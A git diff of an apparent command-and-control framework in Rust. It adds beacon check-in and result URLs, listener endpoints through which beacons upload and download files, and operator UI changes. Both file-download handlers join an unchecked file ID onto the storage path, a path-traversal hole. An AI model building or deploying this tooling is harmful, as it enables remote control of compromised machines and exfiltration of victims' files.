|
||||||
&client,
|
&client,
|
||||||
format!("https://{}/checkin", params::domain_name::<A>(¶ms)?).parse()?,
|
format!("https://{}/checkin", params.domain_name::<A>()?).parse()?,
|
||||||
messages::RegisterBeacon {
|
messages::RegisterBeacon {
|
||||||
beacon_id: beacon_id.clone(),
|
beacon_id: beacon_id.clone(),
|
||||||
template_id: params.template_id,
|
template_id: params.template_id,
|
||||||
@ -142,7 +148,7 @@ where
|
|||||||
&client,
|
&client,
|
||||||
format!(
|
format!(
|
||||||
"https://{}/finish/{}/{}",
|
"https://{}/finish/{}/{}",
|
||||||
params::domain_name::<A>(¶ms)?,
|
params.domain_name::<A>()?,
|
||||||
beacon_id,
|
beacon_id,
|
||||||
cmd_id
|
cmd_id
|
||||||
).parse()?,
|
).parse()?,
|
||||||
|
|||||||
@ -1,9 +0,0 @@
|
|||||||
use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
|
|
||||||
|
|
||||||
pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
|
|
||||||
where
|
|
||||||
T: BeaconAdapter,
|
|
||||||
{
|
|
||||||
std::str::from_utf8(¶ms.domain_name[..params.domain_name_length as usize])
|
|
||||||
.map_err(Into::into)
|
|
||||||
}
|
|
||||||
@ -21,3 +21,6 @@ axum-msgpack = "0.4.0"
|
|||||||
chrono = { version = "0.4.39", features = ["serde"] }
|
chrono = { version = "0.4.39", features = ["serde"] }
|
||||||
|
|
||||||
sparse-actions = { path = "../sparse-actions" }
|
sparse-actions = { path = "../sparse-actions" }
|
||||||
|
http-body-util = "0.1.2"
|
||||||
|
tokio-util = { version = "0.7.13", features = ["io"] }
|
||||||
|
uuid = { version = "1.15.1", features = ["v4"] }
|
||||||
|
|||||||
@ -1,5 +1,5 @@
|
|||||||
use std::{
|
use std::{
|
||||||
collections::HashMap, net::SocketAddr, sync::{Arc, RwLock}
|
collections::HashMap, net::SocketAddr, sync::{Arc, RwLock}, path::PathBuf
|
||||||
};
|
};
|
||||||
|
|
||||||
use rcgen::{CertificateParams, KeyPair};
|
use rcgen::{CertificateParams, KeyPair};
|
||||||
@ -54,7 +54,8 @@ impl std::ops::Deref for BeaconListenerMap {
|
|||||||
pub async fn start_all_listeners(
|
pub async fn start_all_listeners(
|
||||||
beacon_listener_map: BeaconListenerMap,
|
beacon_listener_map: BeaconListenerMap,
|
||||||
db: SqlitePool,
|
db: SqlitePool,
|
||||||
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>
|
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>,
|
||||||
|
file_store: PathBuf,
|
||||||
) -> Result<(), crate::error::Error> {
|
) -> Result<(), crate::error::Error> {
|
||||||
rustls::crypto::ring::default_provider().install_default().expect("could not set up rustls");
|
rustls::crypto::ring::default_provider().install_default().expect("could not set up rustls");
|
||||||
|
|
||||||
@ -70,6 +71,7 @@ pub async fn start_all_listeners(
|
|||||||
listener.listener_id,
|
listener.listener_id,
|
||||||
db.clone(),
|
db.clone(),
|
||||||
beacon_event_broadcast.clone(),
|
beacon_event_broadcast.clone(),
|
||||||
|
file_store.clone()
|
||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
}
|
}
|
||||||
@ -88,7 +90,8 @@ pub async fn start_listener(
|
|||||||
beacon_listener_map: BeaconListenerMap,
|
beacon_listener_map: BeaconListenerMap,
|
||||||
listener_id: i64,
|
listener_id: i64,
|
||||||
db: SqlitePool,
|
db: SqlitePool,
|
||||||
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>
|
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>,
|
||||||
|
file_store: PathBuf
|
||||||
) -> Result<(), crate::error::Error> {
|
) -> Result<(), crate::error::Error> {
|
||||||
{
|
{
|
||||||
let Ok(blm_handle) = beacon_listener_map.read() else {
|
let Ok(blm_handle) = beacon_listener_map.read() else {
|
||||||
@ -111,7 +114,7 @@ pub async fn start_listener(
|
|||||||
.fetch_one(&db)
|
.fetch_one(&db)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
let app = router::get_router(db, beacon_event_broadcast.clone());
|
let app = router::get_router(db, beacon_event_broadcast.clone(), file_store);
|
||||||
|
|
||||||
let ca_cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone());
|
let ca_cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone());
|
||||||
|
|
||||||
|
|||||||
@ -1,9 +1,15 @@
|
|||||||
use std::net::SocketAddr;
|
use std::{net::SocketAddr, path::PathBuf};
|
||||||
|
|
||||||
use axum::{extract::{State, ConnectInfo, Path}, routing::post, Router};
|
use axum::{
|
||||||
|
extract::{State, ConnectInfo, Path, Request},
|
||||||
|
routing::{get, post},
|
||||||
|
Router
|
||||||
|
};
|
||||||
use axum_msgpack::MsgPack;
|
use axum_msgpack::MsgPack;
|
||||||
use sqlx::SqlitePool;
|
use sqlx::SqlitePool;
|
||||||
use tokio::sync::broadcast;
|
use tokio::{io::AsyncWriteExt, sync::broadcast};
|
||||||
|
use tokio_util::io::ReaderStream;
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
|
||||||
use sparse_actions::messages;
|
use sparse_actions::messages;
|
||||||
|
|
||||||
@ -13,6 +19,7 @@ use crate::{BeaconEvent, error};
|
|||||||
pub struct ListenerState {
|
pub struct ListenerState {
|
||||||
db: SqlitePool,
|
db: SqlitePool,
|
||||||
event_publisher: broadcast::Sender<BeaconEvent>,
|
event_publisher: broadcast::Sender<BeaconEvent>,
|
||||||
|
file_store: PathBuf
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn handle_checkin(
|
pub async fn handle_checkin(
|
||||||
@ -210,17 +217,52 @@ pub async fn handle_command_result(
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>) -> Router<()> {
|
pub async fn download_file(
|
||||||
|
State(state): State<ListenerState>,
|
||||||
|
Path(file_id): Path<String>
|
||||||
|
) -> Result<axum::body::Body, error::Error> {
|
||||||
|
let mut file_path = state.file_store.clone();
|
||||||
|
file_path.push(file_id);
|
||||||
|
let file = tokio::fs::File::open(file_path).await?;
|
||||||
|
let stream = ReaderStream::new(file);
|
||||||
|
Ok(axum::body::Body::from_stream(stream))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn upload_file(
|
||||||
|
State(state): State<ListenerState>,
|
||||||
|
request: Request
|
||||||
|
) -> Result<MsgPack<sparse_actions::actions::FileId>, error::Error> {
|
||||||
|
let file_id = uuid::Uuid::new_v4();
|
||||||
|
|
||||||
|
let mut target_file_path = state.file_store.clone();
|
||||||
|
target_file_path.push(file_id.to_string());
|
||||||
|
|
||||||
|
let mut target_file = tokio::fs::OpenOptions::new()
|
||||||
|
.write(true)
|
||||||
|
.create(true)
|
||||||
|
.open(target_file_path)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let mut body = request.into_body().into_data_stream();
|
||||||
|
|
||||||
|
while let Some(Ok(chunk)) = body.next().await {
|
||||||
|
target_file.write_all(&chunk).await?;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(MsgPack(sparse_actions::actions::FileId(file_id)))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>, file_store: PathBuf) -> Router<()> {
|
||||||
Router::new()
|
Router::new()
|
||||||
.route(
|
.route(
|
||||||
"/checkin",
|
"/checkin",
|
||||||
post(handle_checkin),
|
post(handle_checkin),
|
||||||
)
|
)
|
||||||
.route("/files/download/:fileid", post(|| async {}))
|
.route("/files/download/:fileid", get(download_file))
|
||||||
.route("/files/upload", post(|| async {}))
|
.route("/files/upload", post(upload_file))
|
||||||
.route(
|
.route(
|
||||||
"/finish/:beaconid/:commandid",
|
"/finish/:beaconid/:commandid",
|
||||||
post(handle_command_result),
|
post(handle_command_result),
|
||||||
)
|
)
|
||||||
.with_state(ListenerState { db, event_publisher })
|
.with_state(ListenerState { db, event_publisher, file_store })
|
||||||
}
|
}
|
||||||
|
|||||||
@ -50,6 +50,7 @@ regex = "1.11.1"
|
|||||||
server_fn = { version = "0.7.7", features = ["multipart"] }
|
server_fn = { version = "0.7.7", features = ["multipart"] }
|
||||||
multer = { version = "3.1.0", optional = true }
|
multer = { version = "3.1.0", optional = true }
|
||||||
uuid = { version = "1.14.0", features = ["v4"], optional = true }
|
uuid = { version = "1.14.0", features = ["v4"], optional = true }
|
||||||
|
tokio-util = { version = "0.7.13", features = ["io"], optional = true }
|
||||||
|
|
||||||
sparse-actions = { path = "../sparse-actions", features = ["server"] }
|
sparse-actions = { path = "../sparse-actions", features = ["server"] }
|
||||||
sparse-handler = { path = "../sparse-handler", optional = true }
|
sparse-handler = { path = "../sparse-handler", optional = true }
|
||||||
@ -82,6 +83,7 @@ ssr = [
|
|||||||
"dep:rand",
|
"dep:rand",
|
||||||
"dep:multer",
|
"dep:multer",
|
||||||
"dep:uuid",
|
"dep:uuid",
|
||||||
|
"dep:tokio-util",
|
||||||
"leptos/ssr",
|
"leptos/ssr",
|
||||||
"leptos_meta/ssr",
|
"leptos_meta/ssr",
|
||||||
"leptos_router/ssr",
|
"leptos_router/ssr",
|
||||||
|
|||||||
@ -242,27 +242,35 @@ pub fn InstancesView() -> impl IntoView {
|
|||||||
let (done_with_scrolling, set_done_with_scrolling) = signal(false);
|
let (done_with_scrolling, set_done_with_scrolling) = signal(false);
|
||||||
|
|
||||||
#[cfg(not(feature = "ssr"))]
|
#[cfg(not(feature = "ssr"))]
|
||||||
let (web_socket, rebuild_websocket) = signal(use_websocket::<
|
|
||||||
BeaconClientMessage,
|
|
||||||
BeaconViewEvent,
|
|
||||||
codee::string::JsonSerdeCodec,
|
|
||||||
>("/api/subscribe/listener"));
|
|
||||||
|
|
||||||
#[cfg(not(feature = "ssr"))]
|
|
||||||
(web_socket.get_untracked().send)(&BeaconClientMessage::LoadHistorical(0));
|
|
||||||
|
|
||||||
#[cfg(not(feature = "ssr"))]
|
|
||||||
Effect::new(move |_| {
|
|
||||||
let user = expect_context::<ReadSignal<Option<crate::users::User>>>();
|
let user = expect_context::<ReadSignal<Option<crate::users::User>>>();
|
||||||
user.with(move |_| {
|
#[cfg(not(feature = "ssr"))]
|
||||||
rebuild_websocket(use_websocket::<
|
let web_socket = Memo::new_with_compare(
|
||||||
|
move |_| {
|
||||||
|
// subscribe to changes in the user, so that if a user signs it is possible
|
||||||
|
// to recreate the websocket with a new session ID
|
||||||
|
user.get();
|
||||||
|
|
||||||
|
leptos::logging::log!("Recreating socket");
|
||||||
|
|
||||||
|
use_websocket::<
|
||||||
BeaconClientMessage,
|
BeaconClientMessage,
|
||||||
BeaconViewEvent,
|
BeaconViewEvent,
|
||||||
codee::string::JsonSerdeCodec,
|
codee::string::JsonSerdeCodec,
|
||||||
>(&format!(
|
>(&format!(
|
||||||
"/api/subscribe/beacon/{}",
|
"/api/subscribe/beacon/{}",
|
||||||
instance_id.get().expect("could not extract ID from URL").id)
|
instance_id.get().expect("could not extract ID from URL").id)
|
||||||
));
|
)
|
||||||
|
},
|
||||||
|
|_, _| true
|
||||||
|
);
|
||||||
|
|
||||||
|
#[cfg(not(feature = "ssr"))]
|
||||||
|
Effect::new(move |_| {
|
||||||
|
web_socket.get().ready_state.with(move |state| {
|
||||||
|
if *state == leptos_use::core::ConnectionReadyState::Open {
|
||||||
|
update_line_items(VecDeque::new());
|
||||||
|
(web_socket.get_untracked().send)(&BeaconClientMessage::LoadHistorical(0));
|
||||||
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@ -409,7 +417,7 @@ pub fn InstancesView() -> impl IntoView {
|
|||||||
{format!("command {command_id} finished executing at {result_date}")}<br/>
|
{format!("command {command_id} finished executing at {result_date}")}<br/>
|
||||||
</div>
|
</div>
|
||||||
<div class="instance-hist-body">
|
<div class="instance-hist-body">
|
||||||
{action.render_data(action_result)}
|
{action.render_composite_action(action_result)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
}),
|
}),
|
||||||
|
|||||||
@ -183,11 +183,13 @@ pub async fn start_listener(listener_id: i64) -> Result<(), ServerFnError> {
|
|||||||
));
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let target_file_path = expect_context::<std::path::PathBuf>();
|
||||||
sparse_handler::start_listener(
|
sparse_handler::start_listener(
|
||||||
expect_context(),
|
expect_context(),
|
||||||
listener_id,
|
listener_id,
|
||||||
expect_context(),
|
expect_context(),
|
||||||
expect_context()
|
expect_context(),
|
||||||
|
target_file_path,
|
||||||
).await?;
|
).await?;
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
|
|||||||
@ -12,6 +12,7 @@ use leptos_axum::{generate_route_list, LeptosRoutes};
|
|||||||
use serde::Deserialize;
|
use serde::Deserialize;
|
||||||
use sqlx::sqlite::SqlitePool;
|
use sqlx::sqlite::SqlitePool;
|
||||||
use tokio::signal;
|
use tokio::signal;
|
||||||
|
use tokio_util::io::ReaderStream;
|
||||||
|
|
||||||
use sparse_actions::version::Version;
|
use sparse_actions::version::Version;
|
||||||
use sparse_server::app::*;
|
use sparse_server::app::*;
|
||||||
@ -101,6 +102,7 @@ pub struct AppState {
|
|||||||
leptos_options: leptos::config::LeptosOptions,
|
leptos_options: leptos::config::LeptosOptions,
|
||||||
beacon_listeners: sparse_handler::BeaconListenerMap,
|
beacon_listeners: sparse_handler::BeaconListenerMap,
|
||||||
beacon_event_broadcast: tokio::sync::broadcast::Sender<sparse_handler::BeaconEvent>,
|
beacon_event_broadcast: tokio::sync::broadcast::Sender<sparse_handler::BeaconEvent>,
|
||||||
|
file_store: PathBuf,
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn get_parameters_bytes(
|
async fn get_parameters_bytes(
|
||||||
@ -323,6 +325,41 @@ pub async fn download_beacon_installer(
|
|||||||
))
|
))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub async fn download_file(
|
||||||
|
State(state): State<AppState>,
|
||||||
|
cookie_jar: CookieJar,
|
||||||
|
Path(file_id): Path<String>
|
||||||
|
) -> axum::response::Response {
|
||||||
|
if let Err(e) = crate::db::user::get_auth_session_inner(
|
||||||
|
state.db.clone(),
|
||||||
|
cookie_jar
|
||||||
|
).await {
|
||||||
|
tracing::warn!("Could not load user session: {e:?}");
|
||||||
|
return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response();
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut file_path = state.file_store.clone();
|
||||||
|
file_path.push(file_id);
|
||||||
|
let file = match tokio::fs::File::open(file_path).await {
|
||||||
|
Ok(f) => f,
|
||||||
|
Err(e) => {
|
||||||
|
tracing::warn!("Could not open file: {e:?}");
|
||||||
|
return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let stream = ReaderStream::new(file);
|
||||||
|
|
||||||
|
use axum::http::header;
|
||||||
|
|
||||||
|
(
|
||||||
|
[
|
||||||
|
(header::CONTENT_TYPE, "application/octet-stream".to_string())
|
||||||
|
],
|
||||||
|
axum::body::Body::from_stream(stream).into_response()
|
||||||
|
).into_response()
|
||||||
|
}
|
||||||
|
|
||||||
pub async fn subscribe_to_listener_events(
|
pub async fn subscribe_to_listener_events(
|
||||||
State(state): State<AppState>,
|
State(state): State<AppState>,
|
||||||
cookie_jar: CookieJar,
|
cookie_jar: CookieJar,
|
||||||
@ -813,14 +850,16 @@ pub async fn serve_web(
|
|||||||
sparse_handler::start_all_listeners(
|
sparse_handler::start_all_listeners(
|
||||||
beacon_listeners.clone(),
|
beacon_listeners.clone(),
|
||||||
db.clone(),
|
db.clone(),
|
||||||
beacon_event_broadcast.clone()
|
beacon_event_broadcast.clone(),
|
||||||
|
file_store.clone(),
|
||||||
).await?;
|
).await?;
|
||||||
|
|
||||||
let state = AppState {
|
let state = AppState {
|
||||||
leptos_options: leptos_options.clone(),
|
leptos_options: leptos_options.clone(),
|
||||||
db: db.clone(),
|
db: db.clone(),
|
||||||
beacon_listeners: beacon_listeners.clone(),
|
beacon_listeners: beacon_listeners.clone(),
|
||||||
beacon_event_broadcast: beacon_event_broadcast.clone()
|
beacon_event_broadcast: beacon_event_broadcast.clone(),
|
||||||
|
file_store: file_store.clone(),
|
||||||
};
|
};
|
||||||
|
|
||||||
let app = Router::new()
|
let app = Router::new()
|
||||||
@ -829,6 +868,7 @@ pub async fn serve_web(
|
|||||||
get(download_beacon_installer),
|
get(download_beacon_installer),
|
||||||
)
|
)
|
||||||
.route("/binaries/beacon/:template_id", get(download_beacon))
|
.route("/binaries/beacon/:template_id", get(download_beacon))
|
||||||
|
.route("/binaries/files/:file_id", get(download_file))
|
||||||
.route(
|
.route(
|
||||||
"/api/subscribe/listener",
|
"/api/subscribe/listener",
|
||||||
axum::routing::any(subscribe_to_listener_events)
|
axum::routing::any(subscribe_to_listener_events)
|
||||||
|
|||||||
@ -1,3 +1,12 @@
|
|||||||
fn main() {
|
fn main() {
|
||||||
include!("../build_common.rs");
|
include!("../build_common.rs");
|
||||||
|
|
||||||
|
/*if std::env::var("CARGO_CFG_TARGET_ENV").unwrap() == "gnu"
|
||||||
|
&& std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "linux"
|
||||||
|
{
|
||||||
|
let glibc_libs = std::env::var("GLIBC_LIBS").unwrap();
|
||||||
|
let glibc_libs_static = std::env::var("GLIBC_LIBS_STATIC").unwrap();
|
||||||
|
println!("cargo:rustc-link-arg=-L{glibc_libs}/lib");
|
||||||
|
println!("cargo:rustc-link-arg=-L{glibc_libs_static}/lib");
|
||||||
|
}*/
|
||||||
}
|
}
|
||||||
|
|||||||
@ -16,7 +16,7 @@ windows-result = "0.3.0"
|
|||||||
windows-strings = "0.3.0"
|
windows-strings = "0.3.0"
|
||||||
winreg = "0.55"
|
winreg = "0.55"
|
||||||
|
|
||||||
sparse-actions = { path = "../sparse-actions" }
|
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
|
||||||
sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] }
|
sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] }
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user